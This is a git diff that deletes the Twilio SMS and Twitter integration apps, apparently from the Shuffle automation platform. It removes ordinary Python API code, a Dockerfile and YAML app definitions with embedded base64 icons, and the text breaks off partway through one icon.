Twilio account for accepted phone numbers. - multiline: false - example: "+1234567890" - required: true - schema: - type: string - - name: To - description: The message receiver phone number (or a comma separated list of phone numbers). - multiline: false - example: "+9876543210,+1928374650" - required: true - schema: - type: string - returns: - schema: - type: string - example: "404 NOT FOUND" -large_image: data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAADkAAAA5CAYAAACMGIOFAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAAyNpVFh0WE1MOmNvbS5hZG9iZS54bXAAAAAAADw/eHBhY2tldCBiZWdpbj0i77u/IiBpZD0iVzVNME1wQ2VoaUh6cmVTek5UY3prYzlkIj8+IDx4OnhtcG1ldGEgeG1sbnM6eD0iYWRvYmU6bnM6bWV0YS8iIHg6eG1wdGs9IkFkb2JlIFhNUCBDb3JlIDUuNS1jMDIxIDc5LjE1NDkxMSwgMjAxMy8xMC8yOS0xMTo0NzoxNiAgICAgICAgIj4gPHJkZjpSREYgeG1sbnM6cmRmPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5LzAyLzIyLXJkZi1zeW50YXgtbnMjIj4gPHJkZjpEZXNjcmlwdGlvbiByZGY6YWJvdXQ9IiIgeG1sbnM6eG1wPSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLjAvIiB4bWxuczp4bXBNTT0iaHR0cDovL25zLmFkb2JlLmNvbS94YXAvMS4wL21tLyIgeG1sbnM6c3RSZWY9Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC9zVHlwZS9SZXNvdXJjZVJlZiMiIHhtcDpDcmVhdG9yVG9vbD0iQWRvYmUgUGhvdG9zaG9wIENDIChNYWNpbnRvc2gpIiB4bXBNTTpJbnN0YW5jZUlEPSJ4bXAuaWlkOjREOTUwQkUyQUQwNDExRTM4QUY0RDlBODA0OUZGNENBIiB4bXBNTTpEb2N1bWVudElEPSJ4bXAuZGlkOjREOTUwQkUzQUQwNDExRTM4QUY0RDlBODA0OUZGNENBIj4gPHhtcE1NOkRlcml2ZWRGcm9tIHN0UmVmOmluc3RhbmNlSUQ9InhtcC5paWQ6NEQ5NTBCRTBBRDA0MTFFMzhBRjREOUE4MDQ5RkY0Q0EiIHN0UmVmOmRvY3VtZW50SUQ9InhtcC5kaWQ6NEQ5NTBCRTFBRDA0MTFFMzhBRjREOUE4MDQ5RkY0Q0EiLz4gPC9yZGY6RGVzY3JpcHRpb24+IDwvcmRmOlJERj4gPC94OnhtcG1ldGE+IDw/eHBhY2tldCBlbmQ9InIiPz4jmx8hAAAGI0lEQVR42uRbXUwd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 diff --git a/twilio/1.9.0/requirements.txt b/twilio/1.9.0/requirements.txt deleted file mode 100644 index fd7d3e06..00000000 --- a/twilio/1.9.0/requirements.txt +++ /dev/null @@ -1 +0,0 @@ -requests==2.25.1 \ No newline at end of file diff --git a/twilio/1.9.0/src/app.py b/twilio/1.9.0/src/app.py deleted file mode 100755 index d43533ff..00000000 --- a/twilio/1.9.0/src/app.py +++ /dev/null @@ -1,206 +0,0 @@ -import json -import ast -import requests - -from walkoff_app_sdk.app_base import AppBase - -class TWILIO(AppBase): - __version__ = "1.9.0" - app_name = "twilio" - - def __init__(self, redis, logger, console_logger=None): - print("INIT") - """ - Each app should have this __init__ to set up Redis and logging. - :param redis: - :param logger: - :param console_logger: - """ - super().__init__(redis, logger, console_logger) - - def splitheaders(self, headers): - parsed_headers = {} - if headers: - split_headers = headers.split("\n") - self.logger.info(split_headers) - for header in split_headers: - if ": " in header: - splititem = ": " - elif ":" in header: - splititem = ":" - elif "= " in header: - splititem = "= " - elif "=" in header: - splititem = "=" - else: - self.logger.info("Skipping header %s as its invalid" % header) - continue - - splitheader = header.split(splititem) - if len(splitheader) == 2: - parsed_headers[splitheader[0]] = splitheader[1] - else: - self.logger.info("Skipping header %s with split %s cus only one item" % (header, splititem)) - continue - - return parsed_headers - - def checkbody(self, body): - # Indicates json - if isinstance(body, str): - if body.strip().startswith("{"): - body = json.dumps(ast.literal_eval(body)) - - - # Not sure if loading is necessary - # Seemed to work with plain string into data=body too, and not parsed json=body - #try: - # body = json.loads(body) - #except json.decoder.JSONDecodeError as e: - # return body - - return body - else: - return body - - if isinstance(body, dict) or isinstance(body, list): - try: - body = json.dumps(body) - except: - return body - - return body - - def fix_url(self, url): - # Random bugs seen by users - if "hhttp" in url: - url = url.replace("hhttp", "http") - - if "http:/" in url and not "http://" in url: - url = url.replace("http:/", "http://", -1) - if "https:/" in url and not "https://" in url: - url = url.replace("https:/", "https://", -1) - if "http:///" in url: - url = url.replace("http:///", "http://", -1) - if "https:///" in url: - url = url.replace("https:///", "https://", -1) - if not "http://" in url and not "http" in url: - url = f"http://{url}" - - return url - - def return_file(self, requestdata): - filedata = { - "filename": "response.txt", - "data": requestdata, - } - fileret = self.set_files([filedata]) - if len(fileret) == 1: - return {"success": True, "file_id": fileret[0]} - - return fileret - - def prepare_response(self, request): - try: - parsedheaders = {} - for key, value in request.headers.items(): - parsedheaders[key] = value - - cookies = {} - if request.cookies: - for key, value in request.cookies.items(): - cookies[key] = value - - - jsondata = request.text - try: - jsondata = json.loads(jsondata) - except: - pass - - return { - "success": True, - "status": request.status_code, - "url": request.url, - "headers": parsedheaders, - "body": jsondata, - "cookies":cookies, - } - except Exception as e: - print(f"[WARNING] Failed in request: {e}") - return { - "success": False, - "status": "XXX", - "error": request.text - } - - - def summarize_responses(self, one_response, summary): - summary["results"].append(one_response) - - # if ONE request fails, summary is marked as failed - if False == one_response["success"]: - summary["success"] = False - - # if one status code is not 200, use this failure status code for summary - if "200" != one_response["status"]: - summary["status"] = one_response["status"] - - return summary - - - def Send_SMS(self, url, headers="", username="", password="", body="", From="", To="", timeout=5): - url = self.fix_url(url) - - parsed_headers = self.splitheaders(headers) - parsed_headers["User-Agent"] = "Shuffle Automation" - body = self.checkbody(body) - - auth=None - if username or password: - # Shouldn't be used if authorization headers exist - if "Authorization" in parsed_headers: - #print("Found authorization - skipping username & pw") - pass - else: - auth = requests.auth.HTTPBasicAuth(username, password) - - if not timeout: - timeout = 5 - if timeout: - timeout = int(timeout) - - summary = { - "success": True, - "status": "200", - "url": url, - "results": [] - } - - # send Twilio API request for every single receiver number - for receiver in To.split(","): - data = {'Body' : body, 'From' : From, 'To' : receiver.strip()} - request = requests.post(url, headers=parsed_headers, auth=auth, data=data, timeout=timeout) - response = self.prepare_response(request) - summary = self.summarize_responses(response, summary) - - return json.dumps(summary) - - -# Run the actual thing after we've checked params -def run(request): - print("Starting cloud!") - action = request.get_json() - print(action) - print(type(action)) - authorization_key = action.get("authorization") - current_execution_id = action.get("execution_id") - - if action and "name" in action and "app_name" in action: - TWILIO.run(action) - return f'Attempting to execute function {action["name"]} in app {action["app_name"]}' - else: - return f'Invalid action' - -if __name__ == "__main__": - TWILIO.run() diff --git a/twitter/1.0.0/Dockerfile b/twitter/1.0.0/Dockerfile deleted file mode 100644 index 364e1531..00000000 --- a/twitter/1.0.0/Dockerfile +++ /dev/null @@ -1,26 +0,0 @@ -# Base our app image off of the WALKOFF App SDK image -FROM frikky/shuffle:app_sdk as base - -# We're going to stage away all of the bloat from the build tools so lets create a builder stage -FROM base as builder - -# Install all alpine build tools needed for our pip installs -RUN apk --no-cache add --update alpine-sdk libffi libffi-dev musl-dev openssl-dev - -# Install all of our pip packages in a single directory that we can copy to our base image later -RUN mkdir /install -WORKDIR /install -COPY requirements.txt /requirements.txt -RUN pip install --prefix="/install" -r /requirements.txt - -# Switch back to our base image and copy in all of our built packages and source code -FROM base -COPY --from=builder /install /usr/local -COPY src /app - -# Install any binary dependencies needed in our final image -# RUN apk --no-cache add --update my_binary_dependency - -# Finally, lets run our app! -WORKDIR /app -CMD python app.py --log-level DEBUG diff --git a/twitter/1.0.0/api.yaml b/twitter/1.0.0/api.yaml deleted file mode 100644 index 3b69e7fb..00000000 --- a/twitter/1.0.0/api.yaml +++ /dev/null @@ -1,70 +0,0 @@ -app_version: 1.0.0 -name: Twitter -description: A twitter API integration -contact_info: - name: "@frikkylikeme" - url: https://shuffler.io - email: frikky@shuffler.io -tags: - - Intel - - Misc - - Tweet - - Comms -categories: - - Intel -authentication: - required: true - parameters: - - name: consumer_key - description: The consumer key to use - example: "*****" - required: true - schema: - type: string - - name: consumer_secret - description: The consumer key to use - example: "*****" - required: true - schema: - type: string - - name: access_token - description: The consumer key to use - example: "*****" - required: true - schema: - type: string - - name: access_token_secret - description: The access token secret to use - example: "*****" - required: true - schema: - type: string -actions: - - name: send_tweet - description: Send a tweet with Shuffle - parameters: - - name: message - description: The mssage to send. Max 280 characters - required: true - multiline: true - example: 'This is a tweet' - schema: - type: string - returns: - schema: - type: string - - name: delete_tweet - description: Delete a tweet by ID with Shuffle - parameters: - - name: tweet_id - description: The mssage to send. Max 280 characters - required: true - multiline: true - example: '123456789' - schema: - type: string - returns: - schema: - type: string - -large_image: data:image/png;base64,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